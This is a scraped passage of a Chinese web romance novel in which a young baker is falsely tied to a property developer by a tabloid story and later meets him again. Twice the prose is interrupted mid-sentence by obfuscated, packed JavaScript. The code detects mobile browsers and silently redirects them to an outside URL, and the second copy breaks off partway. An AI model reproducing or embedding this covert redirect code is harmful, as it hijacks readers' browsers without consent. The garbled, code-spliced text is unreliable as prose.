刚一开机,就看到了无数个未接电话,大多数都是林锦川打过来的,其中夹杂着一个熟悉的电话号码。 这个号码来自他从小长到大的孤儿院。 小灵通的信号不太好,周奕来到外面的走廊的尽头,仰望着城市里的万千灯火,他先给孤儿院打回去。 在等待十几秒之后,电话终于接通了。 周奕出声说道:“是院长吗?我是小奕,您今天给我打电话的时候,小灵通关机了就没接到,您找我有什么事吗?” 很快电话的另一头传来一道有些失真的女声:“没什么重要的事,我就是前几天听其他人说你从酒店离职了,怎么做得好好的就离职了?” 老院长说完顿了一下,问道:“是不是遭人欺负了?” 周奕从离职后一个人开店,不管多累多辛苦,他都没流一滴眼泪,但听到这句话的时候,眼睛就开始变得酸涩起来。 自从他有记忆起,院长就是一个很严肃的老太太,经常耷拉着嘴角,脸上很少见到笑容。 小时候他只觉得老院长很凶,等长大后,他开始理解了,院里那么多的孩子,不凶一些压根管不住。 周奕喉结滚了滚,他压下心口的酸胀,轻声说道:“您别担心我,我没被人欺负,是我主动离职的。” 说出口的时候,他的声音还是有些哑。 老院长听到这句话,原本紧着的心也放松了下来:“那就好……我就不担心了。” 周奕深吸一口气说道,提了提声音,笑着说道:“院长,我开了一个蛋糕店。” 老院长没想到周奕开了个店,很快她也跟着高兴起来:“那就好,我就知道你是个有本事的。” 从孤儿院里离开的那些孩子里面,她最放心不下的就是周奕,从小就长得乖,性格又软和。 就是身体不好,总生病,那时候她总觉得养不活,要不是这些毛病,这孩子早就被人收养,压根不可能一直留在院里。 只是没想到从小病恹恹的小孩,到青春期就跟抽条一样疯长,身体也健康不少,后面犯病的次数也越来越少。 之后两人又聊了一些孤儿院里的事,在快要挂断前,周奕还是开口了:“院长,再过段时间,店里生意我可能忙不过来,想要找个人帮忙,您看看院里有没有对做糕点感兴趣的孩子,可以过来当学徒,我这里给工钱,只不过刚开始可能会少一些……” 这个消息对老院长来说,是一个意外之喜,对于孤儿院的孩子来说多个机会,也是多条出路。 “你是个有心的,我回去问问他们,等过几天给你打电话。” 周奕应下来:“好,我等您的电话。” 在挂断电话之后,他长长地舒了一口气,望着远处看了一会儿,才转身回去。 他回去烧了壶水洗,洗完澡后才上床,但没有马上休息,而是将装钱的包拿出来,开始算今天的账,抛开成本,今天一共赚了四百三十块。 周奕挺满意的,之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550686|204322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在酒店里的工资一个月三千块钱,现在店里一个月营业额就有一万出头。 等开心完,他把今天赚的钱记账,用钥匙打开专门放钱的柜子里,将钱放好后,将里面的一个信封拿出来。 周奕打开信封,数了一下,里面不多不少,刚好三千块钱。 他盯着手里的钱发呆,这笔钱原本是他打算给林锦川买生日礼物,之前他们逛街的时候林锦川看上了一双鞋,但因为价格太贵,当时他们只看了看,就离开了。 现在他们分手了……这笔钱用途,自然也要重新规划。 周奕想着想着就睡着了。 接连几天,林锦川都打了电话过来,但周奕一个都没接。 期间,在老院长的介绍下,周奕的店里多了一个扎着麻花辫的小姑娘,名字叫图小满。 今年刚满十七岁,个子高,人长得精神,看人的时候一双眼睛亮晶晶的,唯一的缺点就是不会说话。 老院长在回去之前,跟周奕交代道:“我之前问过小满,她想在你这里学门手艺,然后攒钱去做手术……” 周奕:“您放心,我会用心教她的。” 然而,等周奕这边刚打完包票,第二天他就遇到困难。 因为他发现小姑娘除了不会说话之外,还不识字,简单的字认识,遇到稍微复杂的字就不认识,要么就只认一半。 周奕顿时觉得有些头疼,不识字可不行,不然他有些东西都没法教。 于是他开始一边教做蛋糕,一边教识字。 不管怎么说,店里多一个人帮忙,周奕还是轻松许多。 他人一轻松,就开始想着自己之前心心念念的蛋糕事业,卖生日蛋糕可比普通糕点赚钱。 就在周奕琢磨着怎么开展新业务的时候,突然他听到外面传来的惊呼声。 他以为发生什么事,连忙急匆匆跑到前台:“小满,怎么了?” 只见图小满手舞足蹈地朝他招手,让他赶快过去。 等到周奕一出来,就看到图小满手里拿着一份报纸,满脸激动地指着手里的报纸。 周奕有些疑惑,然而等到他走近,看到图小满手指的头条封面,顿时愣住了。 报纸上那人的脸,怎么跟他长得一模一样? 他上报纸了?! 等等,他很快便发现不对劲。 这张照片分明是那天酒店包间的场景,一周过去,周奕都快把这件事给忘了。 除了他之外,另一个男人的脸也格外清晰…… 图片上,他整个人坐在陈佑铭的怀里,双手按在对方敞开的胸膛上,耳鬓厮磨,姿态看起来亲密至极。 而照片里的第三人,林锦川就只留了一个后背。 他想不出来这张照片究竟是用什么角度偷拍出来的。 他连忙将报纸拿过来,然而等到他看到上面黑色加粗的标题后,顿时缓缓睁大了眼睛。 【独家直击!澄江地产新贵酒店捉奸,甘戴绿帽为爱当众发狂!】 【陈佑铭酒店厮杀,两男争一男,奸夫疯狂扇脸,血流满地!】 【独特癖好,光鲜企业家不为人知的另一面!】 5. 酒渍车厘子黑森林 周奕震惊呆愣在原地,他什么时候……跟那个男人扯上关系? 报纸上描述的绘声绘色,仿佛亲眼所见一般,他俨然被描写成陈佑铭私下豢养的专属伴侣,在外拈花惹草,给对方戴了一顶又一顶的绿帽子,还当面出轨! 里面详细讲述了陈佑铭如何发家,是怎么走下三烂,从一个包工头晋升成行业黑马,因为私生活太过混乱,如何变成一个不举并且有着特殊癖好的变态,被头戴绿帽子非但毫不介怀,反而病态痴迷…… 周奕看完后,整个人震惊在原地。 相比较周奕的震惊错愕,一旁的图小满更多的开心。 她人小,认字不多,压根没看懂报纸上报道的内容,只单纯为周奕登上报纸而高兴。 在城市的另一边,盛铭地产公司的总经理办公室,此时被人急忙推开:“铭哥,出事了,你快看这份报纸!” 陈佑铭抬眸看了一眼,急忙跑进来的好兄弟:“慌什么?” 顾城眉头紧锁:“我怎么能不慌,你看看他们写得什么乱七八糟东西?” 陈佑铭伸手接过报纸,当他看到标题的瞬间,不由挑眉:“澄江地产新贵酒店捉奸,甘戴绿帽为爱当众发光……这个标题写得挺劲爆。” 不仅劲爆,还帮他抬了身价,作为一个刚在行业里冒头的新人,他可不敢称呼自己是什么地产新贵,还有企业家。 一旁的顾城满脸气愤地说道:“要让我知道是谁在背后搞的鬼,我非得弄死他不可!” 陈佑铭听着好兄弟的念叨,目光下移,自然而然地落到那张几乎占据整张报纸的照片上。 照片里,被他揽在怀里的青年身形高挑清瘦,正低头垂眸,露出一截白皙的后颈。 对方的一只手虚虚撑在他蜜色的胸膛上,手指纤长白皙、骨节分明;微蹙的眉头下,眼底满是不安,像只受惊的兔子。 昏暗的光影中,他的目光格外深沉,仿佛一道无形的锁链,始终紧紧锁定在青年身上,对周遭一切都毫不在意,那一刻,怀里的人仿佛就是他的全世界。 “你怎么不说话啊?” 陈佑铭慢条斯理地收回目光,看着顾城那张愤怒的脸,说道:“照片拍得还行,就是文笔一般。” 顾城难以置信地看向陈佑铭,倏地拔高了声量:“你还点评上了?!” “你没看到这个上面怎么写你的吗?不知道的人,还以为你是什么淫/魔变态!写这篇稿子的人,分明就是要毁掉你的名声!” 陈佑铭:“我知道。” 顾城瞪大了眼睛:“你知道,还不着急?” 他说完,又倏地皱起了眉头思索:“你想想,你最近是不是得罪了什么人,究竟谁会搞这么下三烂的招数?” 陈佑铭挑眉说道:“那我还真想不出来。” 他得罪的人太多了,就算挨个排查,也如同大海捞针。 顾城也倏地沉默了下来。 因为陈佑铭没说错,整个澄江市资源有限,他们现在势头正猛,被人记恨再正常不过。 只是没想到那些人明面上争不过,暗地里用这么阴损的招数。 陈佑铭站起身来,将报纸转了一个方向,在顾城的目光下,用指尖点了点上面清晰到人的照片:“你不好奇,这张照片是怎么拍下来的?” 那天他们是突然过去的,当天带过去的都是他最信任的兄弟,从拍摄的角度看,也没有人架着一台摄像机,这只能是提前安装的监控。 顾城也听到了这里,他眉头紧锁。 捉奸那天他没去,但闹出那么大的动静,他不可能不知道。 虽然后来调查发现,这件事只是个误会,他名义上的“大嫂”并没有给陈佑铭戴绿帽子。 但这不妨碍他心里还是有些不舒服。 “你打算怎么处理?” 陈佑铭:“不处理。” 顾城皱眉:“不处理?” “只是暂时不处理。” 陈佑铭轻笑一声:“不过是一家八卦小报,又不是什么主流媒体,翻不起多大风浪。反正报纸已经发出去了,现在着急也没用,关键是要沉住气。我们越是慌乱,背后的人就越得意。” “眼下最重要的是盯紧城西开发区的那块地皮,所有事都得给它让路。” 顾城听完后,也逐渐冷静了下来。 现在什么事,都比不上城西开发区的那块地皮更重要。 相比较陈佑铭这边的石子落下,只激起星点的水花,这则丑闻落在周奕身上,却像在一滩静水的生活里,掀起了轩然大波。 这个时候的娱乐本就匮乏,电视里翻来覆去就是那几个固定的节目,这种售卖花边新闻,娱乐八卦的小报恰恰是大街小巷卖得最畅销的东西。 “小蛋糕,你怎么上报纸了?” 打趣周奕的人,是隔壁小面馆的老板娘,之前周奕没时间做饭,就去店里吃面,所以一来二去,两人也熟络了。 老板娘姓王,人称王姐,性格爽朗,在知道周奕也姓周之后,就笑着总喊他“小周蛋糕”,喊着喊着就变成了“小蛋糕”。 王姐用带着方言的口音,笑着说道:“你老公是房地产的大老板哩!” 周奕心里顿时一慌,但还是维持着表面的淡定,攥着手里的报纸,勉强笑了一下:“姐,你在说什么?我不知道。” 周奕拙劣的演技,压根骗不过王姐这样的老江湖,直接当面拿出报纸,当着周奕的面说道:“你小子,还跟姐装傻的哩,这张照片不是你吗?照片里的人,脖子上痣都跟你一模一样。” 周奕下意识抬手捂住脖子的痣,表情变得有些不自然起来,他解释道:“报纸上那些……都是胡说八道!” 只见青年原本就白的皮肤,顷刻间就染上了一层薄薄的红,他微抿着嘴角,垂落的眼睫像一把小扇轻煽了两下。 王姐看着眼前脸皮比纸还薄的青年,神色揶揄地靠近,压低声音问道:“你别不好意思,偷偷告诉姐。” 周奕顿时有些哭笑不得:“真是假的,你不信我也没办法。” 听到这句话,王姐目光狐疑,她相信地用手指着报纸上的照片:“你们两个都抱那么紧,你就别骗姐了?你王姐结婚这么多年,什么没见过,那男人看你的眼神,恨不得你把吃了。” 周奕的脸瞬间烧了起来:“姐,你别说了,我跟他真的没关系!” 说完,他一把推开眼前的报纸,逃一般地离开了。 徒留在原地的王姐,看着周奕离开的背影睁大眼睛:“咋个脸皮还这么薄啊……” 这条满是宁静的老街,因为这份八卦娱乐小报,霎时间变得热闹起来,在许多老观念里,不管好坏,只要登上了报纸,大小都算是个“名人”。 作为新晋“名人”的周奕,只要一出门,就会受到各种围观。 可能他们没什么恶意,只是单纯的想看热闹,周奕委实苦恼了一段时间。 就连之前常来买糕点的李婶,都听说了这件事,在买完糕点后,也会笑眯眯地说道:“小周那报纸上,说的是真的,还是假的?” 周奕认真解释道:“是假的,您别相信。” 李婶笑眯眯的说道:“你老公前年开发的那个楼盘不错,我亲戚有好几个同事都买的那儿!” 周奕:“……” 周奕解释了很多次,但愣是没有人相信。 他甚至给报社打过电话投诉,非但没有起任何作用,反而被报社的记者缠上,打了好几个电话过来,想要采访他。 他也尝试着给陈佑铭的公司打过电话,结果只得到了一个打错电话的回复…… 周奕彻底是没办法了。 这一整天都没法出门,他让图小满一个人在前台看着,自己则到后厨干活。 图小满不知道发生了什么事,她悄悄来到后厨门口,探了个脑袋进去,看到周奕一个人站在操作台上,用力地揉着手里的面团。 恨不得用尽了全身的力气。 在忙碌了一天后,周奕回到家,好不容易睡着,却没想到连做梦都不安稳。 他从梦中惊醒的同时,脑海里还飘荡着回音:“你老公……” 周奕望着头顶的天花板叹了口气,烦躁地揉了一把头发,然后捂住耳朵,翻个身,将脑袋狠狠地埋进被子里。 第二天,周奕来到店里,图小满在看到周奕眼底的黑眼圈时,顿时吓了一大跳,连忙打着手语表示关心:【哥,你怎么了?是不是生病了。】 周奕歪着脑袋,看着满眼关心的图小满,叹了口气说道:“小满,我没事,也没有生病,你别担心,你好好做事就行。” 图小满听到周奕这么说,虽然心里担心,但也听话的去忙手里的活了。 师徒两人在后厨忙活了两个小时,第一盘蜂蜜蛋糕新鲜出炉,刹那间小店里充满了蛋糕的香甜。 很快,今天第一个客人,图小满连忙过去招呼生意,但随着后面的客人越来越多,小满因为不会说话,逐渐开始手忙脚乱起来。 就在她急得满头大汗的时候,肩膀突然被拍了拍。 图小满转过头,看到周奕这时将最后一盘烤好的糕点端过来,擦了擦手,说道:“小满,你去收钱,这里我来就行。” 图小满立即点了点头。 在忙完这拨客人之后,周奕也没有再像昨天躲进后厨。 他大大方方地站在前台,迎接着众人的目光。 他昨晚上想明白了。 他不可能在后厨躲一辈子,总不能因为别人的眼光和声音,影响到自己开店。 再有人过来调侃:“小周,你那个……老公姓什么来着?他是真不行,还是假不行?” 周奕动作迅速地挑拣糕点,称重,收银,找钱,抬头,面带微笑地说道:“姓陈,是盛铭地产的总经理。” 对方顿时愣了一下,反应过来:“哦哦……瞧我这个记性。” 至于行不行… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周奕眼睛一亮:“姐,你打算做多大的蛋糕,想要什么样式的,我这里有图册,都可以选。” 他立即将早就准备好的蛋糕图册递过去。 王大姐翻开图册,看到里面的蛋糕,顿时眼前一亮:“这和其他蛋糕店的款式都不一样,漂亮得跟画似的,该不会是中看不中吃的样子货吧?” 周奕连忙笑着解释:“姐,你放心,绝对货真价实,这些都是我之前在酒店做过的款式,等做好你验收满意了,我再送过去。要是您不满意,我分文不收。” 王姐听到这句话就放心了,她指尖划过这些精美的蛋糕上,停留在了其中一个上面:“就这个吧,叫什么酒渍车厘子黑森林。” 周奕打包票的说道:“行,等明天我做好了给你验收。” 第二天,周奕将蛋糕做好,先让王大姐过来看了一下。 王姐看着眼前如同画册上精美的蛋糕,顿时惊讶得合不拢嘴。 蛋糕的表面上铺满新鲜的车厘子和巧克力,整圈均匀抹上淡奶油,贴满巧克力刨花,表面上点缀着车厘子,撒上一层薄薄的可可粉。 光是看就十分诱人,而且里外都是浓郁的巧克力,搭配着细腻松软的蛋糕,只看一眼就能想象出这个蛋糕有多好吃。 “天呐,还真的跟画上的一模一样,我这钱算是没白花。” 周奕笑着说道:“那当然。” 两人聊了几句,在王姐走后,周奕再将店里的生意交给小满,叮嘱了对方几句,就骑着新买的电瓶车出发了。 不巧的是,他遇上修路,没办法就只好另选了一条路。 但因为人流量多,都挤着一条路上,整条路都拥堵得不行,特别是机动车道,都挤得不能动弹。 周奕停在红绿灯口,听到周边传来的一片骂声,他不由感到一丝庆幸,还好他来得电动车,非机动车道虽然挤了一些,但慢慢还是能走得动。 也不知道这条路什么时候能通。 就在周奕感叹的时候,目光在人群中一晃而过,突然顿了一下。 他刚才好像看到了一张熟悉的脸。 就在他以为自己看错的时候,触不及防对上一双锐利的眼眸。 是他…… 周奕顿时愣了一下,下意识皱眉。 两人四目相对,都认出了彼此。 陈佑铭在人群中看到那张眼熟的脸,微微眯起了眼眸。 “铭哥,咱们的车真抛锚了……” 顾城叉着腰,掀开汽车的引擎盖查看情况,听着周遭按个不停的喇叭声,又堵在这里出不去,心里面格外烦躁。 他急得满头大汗。 “就算再派一辆车过来,也得半个小时后,按照现在路段拥挤的程度,也不知道什么时候能够到……” 他们必须按时抵达城西开发区地块招标会,如果没有按时赶到的话,之前做的一切努力都将白费。 顾城说完,半天没有听到旁边人的回应,他扭过头,却没看到陈佑铭的身影:“人呢?” 他环顾四周寻找的时候。 此时的陈佑铭已经跨过了栏杆。 顾城没过多久,在对面的马路上看到陈佑铭的背影,他大声呼喊道:“铭哥,你去哪儿?” 而此时,正在非机动车道等待红绿灯周奕,在看到大步流星朝他走过来的陈佑铭,缓缓睁大了眼眸。 6. 草莓蛋糕【已修改】 周奕手心紧张得直冒汗,恰好这时路灯亮了起来,前方拥堵的车流开始松动。 他连忙收回目光,拧动了油门。 只见刚刚翻过栏杆的陈佑铭,目光盯着不远处落荒而逃的身影。 就跟老鼠见到猫一样。 陈佑铭倏地皱起眉头,跑什么跑,他有这么可怕吗? 周奕的心跳开始加速,心里不停催促着前面的车辆开快点。 车子起步驶一段距离后,他回过头看了一眼,只是一眨眼的功夫,陈佑铭居然追了上来。 两个人,一个在前,一个在后,一个跑,一个追。 在下一个红绿灯路口前,周奕被抓住了。 两人都喘着气。 陈佑铭眉头紧锁,目光看着眼前慌忙逃跑的青年:“你跑什么?” 来不及擦的汗水,从额角滚落进眼睛里,一阵刺痛瞬间袭来,周奕有些难受地闭了闭眼睛。 他抬手胡乱地用手背擦了一下额头,艰难地睁开眼,看着气势汹汹的男人,抿唇道:“那你追我做什么?” 两人四目相对,气氛诡异地安静下来。 陈佑铭匀了匀呼吸,目光落在周奕身上,恰好对上一双泛红的眼睛,琥珀色眼眸蒙着一层淡淡的水色——像是哭了,又像是在生气。 对方正一眨不眨地盯着他,眼底燃着一团跃动的小火苗,此刻亮得惊人。 陈佑铭有些诧异,他不过是拦了一次车而已,又没做什么伤天害理的事,好歹上次他还帮对方教训了渣男,怎么反倒对他产生这么大的敌意? 在他看来,依照周奕的窝囊性子,想摆脱渣男可没那么简单。 不过现在,陈佑铭不打算计较这些。 他低头,看了一下手腕上的时间,抬眸看着周奕的脸,认真地说道:“帮我个忙?” 帮忙? 周奕愣了一下,他狐疑地看着眼前的男人。 他想不到自己能帮对方什么忙? 他不由得警惕起来,自从遇到这个男人,就没发生什么好事。 陈佑铭出声说道:“不是什么难事,我需要借用一下你的车。” “不借。” 周奕想也没想地拒绝了。 陈佑铭没说话,只沉默地朝前跨出一步,抬起手由上而下,从对方身前穿过,单手按在侧头上,身体微微俯身,以半包围的姿态,目光平静地看着坐在车上人。 强烈的压迫感如潮水般涌来,强大的气场像一张密不透风的网,顷刻间将周奕包裹在里面,让他瞬间僵硬在原地。 下一秒,男人低沉凛冽的嗓音在耳边响起:“真不借?” 这瞬间,周奕虽然站在太阳下,却感觉到一丝凉意,他安静地坐在车上,微抿着嘴角,垂落的眼睫遮盖住眼底的思绪。 陈佑铭继续说道:“上次,我好歹帮你解决了渣男,不说功劳,也有苦恼。” 尽管他如此苦口婆心地劝说,但眼前的青年并没有马上答应,像是还在犹豫,垂着宛如鸦羽般的眼睫,在瓷白的肌肤上落下细碎的阴影。 半晌,周奕抬起了眼眸,他没去开眼前气势强大的男人,目光落在一旁的路面上,说道:“我答应你了。” 他的声音很轻,轻得陈佑铭没听得太清,他不由凑近了一些,出声问道:“你说什么?” 随着对方的靠近,淡淡的古龙香水瞬间浸入鼻尖,周奕身体一僵硬 他克制着自己想要逃离的冲动,握着车把手的指节紧了紧,轻吐了一口气,扭过头看着陈佑铭,微微提高了音量:“我说,上车。” 听到这句话的陈佑铭,微微挑眉,他看着周奕无可奈何的神情,唇边绽开一抹笑容:“声音小点,我耳朵没聋。” 目的达成后,陈佑铭也不再耽搁,裹着西装裤的长腿一跨,直接稳稳地坐到了电瓶车的后面,立即报了一个地址:“江安路,081号。” 听到背后传来的声音,周奕面无表情地拧动油门,车发动的瞬间,带起了一丝凉意,清清凉凉的风打在脸上,让他微眯起了眼。 他宽大的白色T恤,被风吹鼓了起来,发出簌簌声响,瞬间勾勒出笔挺而清瘦的身形,宽肩窄腰。 陈佑铭安安静静地坐在后面,视线越过青年流畅的下颚线,平静地看向前方,他没有伸手抓扶手,也没凑得太近,始终留出一拳多的距离。 这一路都很安静,两人都没说话。 二十分钟后,周奕的车抵达目的地。 陈佑铭下车,看了下时间,微不可察松了一口气,他回过头,看向满头大汗正准备要走的周奕,立即将人叫住:“你等一下。” 周奕停住调转车头的动作,他扭过头,看向突然叫住他的陈佑铭,琥珀色的眼眸满是疑惑。 还有什么事? 陈佑铭摸了摸身上的钱包,结果却摸了一个空,这时他才想起来,今天忘记带了。 周奕看着陈佑铭在身上摸了半天,却没说出一句话来,也不打算再理会对方,打算直接掉头离开。 但还没等他扭动油门,他的车尾就被一股力量给拽住了。 周奕不满地回头看,恰好看到一张递到眼前的名片,肉眼清晰可见地看到上面写着: 盛铭地产看法有限公司 总经理:陈佑铭 电话号码:xxxxxxx “别着急走,我还没给你报酬。” 陈佑铭说道:“今天钱包忘带了,这是我的名片,你直接打这个电话——” 周奕直接打断对方的话,抿着唇说道:“我不要。” 说完这句话,似乎察觉到自己的话有些生硬,他又重新说了一句:“我不要报酬。” 他唯一希望的事,就是之后再也不要遇到对方。 “没其他事,我就走了。” 周奕说完这句话,也不去看陈佑铭脸上作何反应,直接拧动油门,头也不回得离开这里。 陈佑铭看着周奕逐渐远去的背影,不由皱起了眉头。 他难道就这么讨人厌吗? 恰好这时,一通电话打了过来,陈佑铭接通电话,是顾城打来的:“铭哥,你现在在什么地方?” 陈佑铭说道:“我已经到了。” 招标会结束后,这时顾城才气喘吁吁地赶了过来。 他看了一眼陈佑铭的神色,便知道这次的招标会没问题,有些庆幸地拍了拍胸口说道:“还好赶上了。” 就在他还想说什么的时候,陈佑铭身后传来一道讥讽的声音。 “陈总还真是好兴致,赶着过来还不忘坐电动车兜风,你看这衬衫都皱了,这么大的公司难不成买不起一辆汽车?” 陈佑铭骑电动车赶过来的时候,被不少人都瞧见了。 陈佑铭转过身,目光冰冷地看着对方,语气淡得没什么情绪:“李总倒是闲,站在这儿嚼舌根,怎么,怕这次标拿不到,提前来堵我找补?” 那人被噎得脸色一变,冷笑着说道:“陈佑铭,你别得意的太久。” 陈佑铭听到这句话,不由笑出了声:“那可能要让李总失望,我陈佑铭肯定会一直得意下去。” 那人顿时被气得说不出话来。 顾城在旁边憋笑,等人离开后,说道:“还是你这张嘴厉害。” 等到两人回到公司后,关上办公室的门,顾城脸上的笑容淡了下来:“铭哥,这次不是意外,咱们的车被人动了手脚。” 陈佑铭脸色冷了下来,面色阴沉地说道:“找到谁动的手了吗?” 顾城:“已经有些眉目,大概今晚上就能知道。” 陈佑铭闭上眼睛,眉头微微皱起,知道他们当天开那辆车,必定是自己的人,这说明他们里面有内鬼。 叩叩叩—— 这时,办公室的房门便被敲响。 陈佑铭出声说道:“进来。” 进来的人是陈佑铭的助理,他看到顾城和陈佑铭都在办公室,神色微顿了一下,有些犹豫地说道:“陈总,沈先生找您。” 陈佑铭微蹙了一下眉,说道:“好,我知道了,你让他上来吧。” 顾城见状,不由轻挑了一下眉尾,他看向陈佑铭,说道:“要不,我回避一下。” “你可以离开,也可以留在这里看戏。” 陈佑铭无所谓,上次 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他说着眼底泛起了泪花,可怜巴巴地看着陈佑铭:“都怪我想岔了……自从结婚后,你都在忙工作,几乎都没时间见我……我只是想利用他,让你更在意我一些。” 陈佑铭没什么情绪地抬眼,指尖在办公桌面轻轻敲了两下,声音冷得像冰:“沈知意,你应该知道我最讨厌这种把戏。” 他也不想听对方任何辩解,直接从旁边抽出一张报纸,丢到了沈知意的面前:“这张照片是怎么拍下来的?你应该比我清楚。” 沈知意在看到报纸的瞬间,他往后退了两步,脸色露出一丝惊恐,这个酒店是之前认识的一个富二代帮他弄的:“我不知道这件事……铭哥。” “你再给我一次机会好不好?” 陈佑铭靠在椅背上,将笔丢了过去,下达最后的命令:“签了吧。” 沈知意看着桌上白纸黑字的离婚协议,指尖死死攥着,咬着唇不肯动,他看着陈佑铭决绝的态度,就知道今天这个字,他是非签不可。 他抬眸看去,目光控诉地问道:“你真的对我一点情意都没有吗……那当初为什么要和我结婚。” 陈佑铭说道:“我以为你是一个聪明人。” 当时他选择沈知意结婚,只单纯觉得对方是个合适,恰好也有这么一个人选,就算没有沈知意,也会有其他人。 哪知道对方会这么蠢,居然傻乎乎地被人利用,背叛过他的人,他绝对不可能再留在身边。 陈佑铭起身双手撑着桌面,他看着沈知意不满的神色,居高临下地说道:“我当初能让你能够成为澄江大学的老师,自然也能将你弄出来。” “别到最后竹篮打水一场空。” 沈知意感觉一股凉意蹿到后背,他拿着笔的手在发抖……他不是不知道陈佑铭的手段。 他以为自己能和对方结婚,会是最特殊的那一个……却没想到最后还是一样被抛弃。 “陈佑铭,你真是一个冷漠无情人。” 签完字后,沈知意怨恨地看着眼前的男人:“这辈子你永远得不到真心喜欢的人!” 说完他攥着协议摔门而出,站在门外的顾城被那股子怨气冲得朝后躲了躲。 他探着脑袋进来,看着桌面上签好的离婚协议,摇了摇头:“你结婚和离婚,比我签合同还快,这又是何必呢,当初我就说这婚不该结……现在好了,成了二婚男,以后在相亲市场大打折扣。” 顾城虽然这么说,但也知道陈佑铭也是没有办法。 当时陈母病重,早年母子俩人关系一直闹得很僵,陈母在临终前就只有这么一个愿望,想看到陈佑铭成家。 在陈佑铭领结婚证的第二天,陈母就毫无遗憾地走了。 “无所谓。” 陈佑铭将那份签好的离婚协议随手丢到一边,作为不婚主义的他,压根就没想再结一次婚。 “对了,我看起来很凶吗?”陈佑铭突然问道。 顾城愣了一下,他不知道陈佑铭为什么突然这么问,不过认真端详一番,给出一个中肯的回答:“虽然说不上凶,但也没那么和善。” 7. 巧克力慕斯 晚上八点,街角的蛋糕店正准备打烊。 周奕在清理着后厨,图小满正在仔细地用抹布擦着前台的展示柜。 咚咚—— 图小满听到声音后,抬起头,看到出现在前台的男人,顿了顿,她以为对方是来买糕点的。 抬起手指了指空荡荡的柜台,又指了一下旁边打烊的面板,朝着对方摆了摆手。 陈佑铭很快发现眼前的小姑娘不会说话,他挑了挑眉,说道:“我不买东西,我找你们老板。” 图小满愣了一下,她目光看着眼前这个穿着白衬衣的男人,一身商务打扮,和这条满是烟火气的老街格格不入。 她歪了歪头,伸出手向后厨的方向指了指,打了一个手势,她让对方在这里等一下。 图小满随后快速钻进了后厨。 没一会儿,就听见后厨传来水声停下的动静。 周奕擦着手走出来,看到站在前台的陈佑铭,手里的擦碗布顿住了,语气带着几分意外:“又是你?” 陈佑铭听到这个又字,扯了扯嘴角:“这么不欢迎我?” 周奕顿时沉默了下来。 没接话就是默认。 周奕有些警惕地问道:“你找我做什么?” 自从他遇到对方都没什么好事。 而且,他也不想跟对方有过多的接触。 陈佑铭将刚才去超市买的水果放在了柜台上:“你今天帮了我的忙,这是给你的谢礼。” 周奕看着柜台上的东西,顿时有些愣住了。 他反应过来之后,出声说道:“不过是顺路的事,用不着这么客气,你把东西拿回去。” 没必要道谢,只要下次不要再遇见对方就好了。 陈佑铭却没动,他看出了周奕的疏离和谨慎,说道:“不是什么贵重的东西,你喜欢就留着,不喜欢就丢出去。” 对方送的东西,的确不贵重。 周奕垂下眼眸,有些干巴巴地说道:“那我就收下了……谢谢你。” 陈佑铭目光落在青年身侧扣动的指尖,他闻言笑了笑,说道:“没什么事,那我就走了。” 周奕点了点头。 在看到对方身影消失的瞬间,他心里的紧张瞬间消散。 周奕对着一旁的小满说道:“你有什么想吃的,就拿着吃吧。” 图小满倒没察觉到什么不对劲,她在听到周奕的话之后,立即喜滋滋地探着脑袋看着袋子里的水果,都是一些她没吃过的进口水果,有好几样她都不认识。 这时小满突然摸到了一个硬硬的东西,她顿时发出一道惊呼声:“啊?!” 刚准备回去收拾后厨的周奕,在听到动静后,他立即出声问道:“怎么了?小满。” 图小满听到周奕的声音,连忙拿起自己手里摸到的硬东西递到周奕面前,那是一个装好的红包。 周奕接过红包捏了捏,指尖能摸到里面纸张的厚度。 他眉头瞬间皱了起来,拆开红包立即数了数,叠在一起的张数超过了他接受范围。 周奕连忙拿着红包追了出去,这时的街角哪里还有什么人影。 他只好转身回去了。 忙碌了一天后,周奕回到家里,他关上门,开始记账,在记完账后,他看着手里多出的那个红包,拧了拧眉头。 不过,仅仅犹豫了几秒钟,他说服了自己,不能跟钱过不去。 将里面的钱拿了出来,一张张数了一遍,居然有八千八! 很吉利的数字。 这也让周奕惊讶,他之前摸到厚度,心里隐约觉得挺多的,但没想会这么多。 他只是顺路搭了对方一程,用不了这么多钱,这些钱都够买三辆电动车了。 或许今天的那件事,对对方来说很重要,周奕在心里劝说自己,如何心安理得地将这笔钱收下。 不过,他不会因为男人的谢礼,而忘记对方本身是一个什么样的人。 强势,霸道,一点也不讲道理。 时间一晃,又一周过去了。 他已经很开心了。 店里的几款糕点,图小满已经能够自己上手做,周奕轻松了不少。 他每天在做完糕点后,就开始做蛋糕,目前蛋糕的点单不多,但周奕已经很满足了。 万事开头难,他相信自己会越来越好的。 在打烊后,每天都会去附近的商场,人流量比较多的地方,进行推销宣传。 今天他做了三种口味的慕斯,分别是巧克力慕斯,芒果慕斯,还有抹茶慕斯。 在宣传和试吃的过程中,巧克力慕斯最受欢迎,其次是芒果慕斯……最后再是抹茶慕斯。 他早有预料,抹茶口味微苦,不是所有人都能接受。 大概忙到十二点,商场周围已经没什么人。 周奕也打算收拾东西回家,将剩下一些慕斯蛋糕送了一些,现在天气炎热家里也没有冰箱,拿回去也放不了。 他拿了几块慕斯蛋糕,朝着不远处的天桥走过去,那边经常有流浪汉逗留。 就在周奕走过去的时候,在路过花坛的时候,听到一道细弱的哭声。 他循着声音看去,发现是一对母女。 小女孩窝在女人怀里,只露出一双泪汪汪的大眼睛,小小的肩膀一抽一抽的,成年人低着头轻轻拍着她的背。 周奕脚步一顿,看到这一幕,心里泛起几分软意,他了盒剩下的芒果慕斯,轻轻走了过去。 “小妹妹怎么了?” 听到这句话,抱着孩子的女人手上的动作一顿,抬眸看到周奕时,眼底露出几分惊恐慌张。 